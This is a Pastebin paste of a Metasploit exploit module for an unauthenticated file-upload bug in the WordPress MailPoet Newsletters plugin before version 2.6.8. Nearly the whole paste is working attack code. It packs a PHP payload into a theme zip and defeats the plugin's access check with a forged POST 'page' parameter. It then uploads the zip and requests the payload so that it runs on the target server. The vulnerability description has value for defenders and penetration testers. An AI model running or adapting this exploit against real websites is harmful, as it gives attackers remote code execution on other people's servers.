Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- ##
- # This module requires Metasploit: http://metasploit.com/download
- # Current source: https://github.com/rapid7/metasploit-framework
- ##
- require 'msf/core'
- class Metasploit3 < Msf::Exploit::Remote
- Rank = ExcellentRanking
- include Msf::HTTP::Wordpress
- include Msf::Exploit::FileDropper
- def initialize(info = {})
- super(update_info(
- info,
- 'Name' => 'Wordpress MailPoet Newsletters (wysija-newsletters) Unauthenticated File Upload',
- 'Description' => %q{
- The Wordpress plugin "MailPoet Newsletters" (wysija-newsletters) before 2.6.8
- is vulnerable to an unauthenticated file upload. The exploit uses the Upload Theme
- functionality to upload a zip file containing the payload. The plugin uses the
- admin_init hook, which is also executed for unauthenticated users when accessing
- a specific URL. The first fix for this vulnerability appeared in version 2.6.7,
- but the fix can be bypassed. In PHP's default configuration,
- a POST variable overwrites a GET variable in the $_REQUEST array. The plugin
- uses $_REQUEST to check for access rights. By setting the POST parameter to
- something not beginning with 'wysija_', the check is bypassed. Wordpress uses
- the $_GET array to determine the page, so it is not affected by this. The developers
- applied the fixes to all previous versions too.
- },
- 'Author' =>
- [
- 'Marc-Alexandre Montpas', # initial discovery
- 'Christian Mehlmauer' # metasploit module
- ],
- 'License' => MSF_LICENSE,
- 'References' =>
- [
- ['URL', 'http://blog.sucuri.net/2014/07/remote-file-upload-vulnerability-on-mailpoet-wysija-newsletters.html'],
- ['URL', 'http://www.mailpoet.com/security-update-part-2/'],
- ['URL', 'https://plugins.trac.wordpress.org/changeset/943427/wysija-newsletters/trunk/helpers/back.php'],
- ['WPVDB', '6680']
- ],
- 'Privileged' => false,
- 'Platform' => ['php'],
- 'Arch' => ARCH_PHP,
- 'Targets' => [['wysija-newsletters < 2.6.8', {}]],
- 'DefaultTarget' => 0,
- 'DisclosureDate' => 'Jul 1 2014'))
- end
- def create_zip_file(theme_name, payload_name)
- # the zip file must match the following:
- # -) Exactly one folder representing the theme name
- # -) A style.css in the theme folder
- # -) Additional files in the folder
- content = {
- ::File.join(theme_name, 'style.css') => '',
- ::File.join(theme_name, payload_name) => payload.encoded
- }
- zip_file = Rex::Zip::Archive.new
- content.each_pair do |name, con|
- zip_file.add_file(name, con)
- end
- zip_file.pack
- end
- def check
- check_plugin_version_from_readme('wysija-newsletters', '2.6.8')
- end
- def exploit
- theme_name = rand_text_alpha(10)
- payload_name = "#{rand_text_alpha(10)}.php"
- zip_content = create_zip_file(theme_name, payload_name)
- data = Rex::MIME::Message.new
- data.add_part(zip_content, 'application/x-zip-compressed', 'binary', "form-data; name=\"my-theme\"; filename=\"#{rand_text_alpha(5)}.zip\"")
- data.add_part('on', nil, nil, 'form-data; name="overwriteexistingtheme"')
- data.add_part('themeupload', nil, nil, 'form-data; name="action"')
- data.add_part('Upload', nil, nil, 'form-data; name="submitter"')
- # this line bypasses the check implemented in version 2.6.7
- data.add_part(rand_text_alpha(10), nil, nil, 'form-data; name="page"')
- post_data = data.to_s
- payload_uri = normalize_uri(target_uri.path, wp_content_dir, 'uploads', 'wysija', 'themes', theme_name, payload_name)
- print_status("#{peer} - Uploading payload to #{payload_uri}")
- res = send_request_cgi(
- 'method' => 'POST',
- 'uri' => wordpress_url_admin_post,
- 'ctype' => "multipart/form-data; boundary=#{data.bound}",
- 'vars_get' => { 'page' => 'wysija_campaigns', 'action' => 'themes' },
- 'data' => post_data
- )
- if res.nil? || res.code != 302 || res.headers['Location'] != 'admin.php?page=wysija_campaigns&action=themes&reload=1&redirect=1'
- fail_with(Failure::UnexpectedReply, "#{peer} - Upload failed")
- end
- # Files to cleanup (session is dropped in the created folder):
- # style.css
- # the payload
- # the theme folder (manual cleanup)
- register_files_for_cleanup('style.css', payload_name)
- print_warning("#{peer} - The theme folder #{theme_name} can not be removed. Please delete it manually.")
- print_status("#{peer} - Executing payload #{payload_uri}")
- send_request_cgi(
- 'uri' => payload_uri,
- 'method' => 'GET'
- )
- end
- end
Advertisement
Add Comment
Please, Sign In to add comment